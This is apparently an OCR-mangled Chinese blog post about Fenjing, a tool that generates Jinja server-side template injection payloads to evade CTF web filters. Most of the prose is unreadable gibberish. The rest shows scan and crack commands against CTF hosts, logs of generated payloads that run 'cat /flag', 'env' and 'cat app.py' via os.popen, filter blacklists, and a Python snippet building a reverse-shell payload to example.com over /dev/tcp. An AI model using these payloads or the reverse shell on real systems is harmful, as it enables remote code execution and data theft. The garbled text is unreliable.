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SRR

AXRFEARRSINE, TENACTFRERR, mERTIEEAE, SUEEN—ERETEE.
AMERRBMIRRE BF-HEASNHLE 4.0 B IFGHTIER, BHIFTBARIES AMarven1,

EIE]

ZEIE—EREIETERFSSTI, BCTFRE LM inja SSTI WAFSHSRISEAR T —MNTE, EARMMEITEMSSTIESR,
RIEFENREFAEARTE, GithubtBIET502, HERE—RNERHFXNTE,

V1

FIF (https://github.com/Marven11/Fenjing) B— MtXICTFESEFEMinja SSTIREEFENWAFENIS5TTE.
RIERME T CTFRERENAISSTISI RIS, FJLARFASEASERIRITL BT payloadSRITWAF.
H¥%EmiaE B mMishiformtRHITIRE, BRFFHiEEpayloadiBR AR ILE B FHF=4payload.

R HERHEAINEEERE— MEM RS EIEFHITERLinux Shelli§<$. BATLERERINGEMFREX MApayload
RIBEETLUMEAN SR SITIERER, RaTLUEApythonEES ARIHIAH, ERRE—IMWAUISERAEGSITAEFER.
SEfk

<ez_ze></ez_ze>

AR wafERIEN T :

pattern = r"(\{\{|\}\}|popen|os|subprocess|application|getitem|flag\.txt|\.|_|[\[|\]]\"|class|subclasses|mro|\\)"

{EFA®<1T python -m fenjing scan --url http://nodex.anna.nssctf.cn:xxxxx/ TR, WERINGEEERRE 7 —MEML
i, ALABATERLinux Shellf®<$:

$>> cat /flag

INFO:[payload_gen] | Great, string("__import__('os').popen('cat /flag')") can be (('%c'*35)%(95,95,105,169,112,111,1

INFO:[payload_gen] | Great, we generate eval("__import__('os').popen('cat /flag')")
INFO:[payload_gen] | Great, we generate os_popen_obj('cat /flag')
INFO:[payload_gen] | Great, we generate os_popen_read('cat /flag')

SSTI - Lab

HiErtlevel 13, BREBEWT: bi['_', '.', "\\', "\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 's
elf', '[', ']"]

#l,?i‘ python -m fenjing scan --url http://nodex.anna.nssctf.cn:xxxxx/level/13 , é%tﬁ%ﬁﬁl}]ﬂg,

$>> env

INFO:[payload_gen] | Great, string("__import__('os').popen('env')") can be ((((lipsum()|urlencode|first)~(dict(c=x)]|

INFO:[payload_gen] | Great, we generate eval("__import__('os').popen(‘env')")
INFO:[payload_gen] | Great, we generate os_popen_obj('env')
INFO:[payload_gen] | Great, we generate os_popen_read('env')

HWIH T Level 9, Hwaf 7 [H{AKT, HRBEMITN.

$>> env
INFO:[payload_gen]
INFO:[payload_gen]

Great, integer(29) can be (zb+e)
Great, integer(118) can be (llla+t)
INFO:[payload_gen]

INFO:[payload_gen]
INFO:[payload_gen]

|
|
I
INFO:[payload_gen] | Great, we generate eval("__import__('os').popen(‘env')")
| Great, we generate os_popen_obj('env')
|

Great, we generate os_popen_read('env')

CTFShow WEBAJJ SSTI

B EHRENweb372, XBMIENHKIXEE: re.search(r"\'[\"|args|\[[\_los|\{\{|request|[8-9]|print|count”,name,re.I)

XRAEEFHMIETIRCAR, FMcrackIBE: python -m fenjing crack --url http://8470780a-69f8-4098-8a89-250eaead1a95.ch

allenge.ctf.show/ --method GET --inputs name

RINRMINT, ERX—RIREBREE, MEiT — M sleep 5

Great, string("__import__('os').popen('env')") can be (('%c'*(zb+e))%((qo+e+la+la), (qo+e+la+la),

SR
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FER L EEFFRRIER..
HIESERSEIRIARY -- Cookies &L..
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SRR BB B
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$>> sleep 5

INFO:[payload_gen]
INFO:[payload_gen]
INFO:[payload_gen]
INFO:[payload_gen]
INFO:[payload_gen]
INFO:[payload_gen]

Great, integer(33) can be (lla+lla+lla)

Great, integer(53) can be (lla+lla+lla+lla+bb+la+la+la)

Great, string("__import__('os').popen('sleep 5')") can be ((((lipsum()|urlencode|first)+(dict(c:
Great, we generate eval("__import__('os').popen('sleep 5')")

Great, we generate os_popen_obj('sleep 5')

Great, we generate os_popen_read('sleep 5')

KifshelltB 2ATLARY, XERAMHFT

BRI web369, XAZTLAREH

$>> cat /flag

INFO:[payload_gen]
INFO:[payload_gen]
INFO:[payload_gen]
INFO:[payload_gen]

| Great, string("__import__('os').popen('cat /flag')") can be ((((lipsum()|urlencode|first)+(dict
| Great, we generate eval("__import__('os').popen('cat /flag')")

| Great, we generate os_popen_obj('cat /flag')

I

Great, we generate os_popen_read('cat /flag')

BRRERNwaf
FFERERMT:

blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess’,
'posix', 'builtins', 'namespace','open', 'read', '\\', 'self', 'mro', 'base’,
‘global', 'init', '/','@0@', 'chr', ‘'value', 'get', "url", 'pop', 'import’,

‘include', 'request’, '{{', '}}', ‘config','="]

$>> cat app.py

INFO:[payload_gen]
INFO:[payload_gen]
INFO:[payload_gen]
INFO:[payload_gen]

Great, string("__import__('os').popen('cat app.py')") can be (((((lipsum,)|map(((lipsum|string]|
Great, we generate eval("__import__('os').popen('cat app.py')")

Great, we generate os_popen_obj('cat app.py')

Great, we generate os_popen_read('cat app.py')

E2e
TREAUT A%
M pipRFRIETT

pip install fenjing
python -m fenjing webui

T#EHiE{TdockeriBiR

docker pull marvenll/fenjing
docker run --net host -it marvenll/fenjing webui

{Er

BEIMTAUI, RFEE python -m fenjing webui SAFIHAttp://127.0.0.1:11451 (http://127.0.0.1:11451)E0A]
INRMILHTMLR S BT LARENRSE TR, B python -m fenjing scan --url "http://xxx/' WEHERIE]

MBRBENETLAFHIEERT A, (GET/POST) 5=FE8%: python -m fenjing crack --url 'http://xxx/' --method GET --inpu

ts name
WALEAESNEFHARRMWAFRY, ILHEHMOH, BRTEBTEMNSRIREpayloadiIRER :

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
blacklist = [
“config", "self", "g",

tL,tt,

os",

"class", "length", "mro",

"

"base", "lipsum",

+, T,

, "1,

RS SR R A

]

return all(word in s for word in blacklist)

if __name__ == "__main__

shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 ©>&1\"")

print(f"{shell_payload=}")

FrEERARIENBE GithubET (https://github.com/Marven11/Fenjing)
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RIBH WX —REMAISSTIRBIRIT: HBFRGtMpayload #TIEN LA (SFFFHELER) , LREIBKATNREFENRE,
A LEEIBIRAE NG payload FHERIBHRFIER,

EAFEATTMREMR M Epayload PR S £FIAN/AFD, FHERBIZINTIBIE RUBNERIEENN S X2 BhithEMpayload.

MEEAWAFRE(UNE— M ENRAREE, FOTUBARBEESHESER, XAKELTREIWAFRIE.

XI5RE
RIFRREBLARINBRIZTH, MRRNTEHMZBRLETERENEE, WBEGithub Issues (https://github.com/
Marven11/Fenjing/issues)}@3s R 5.
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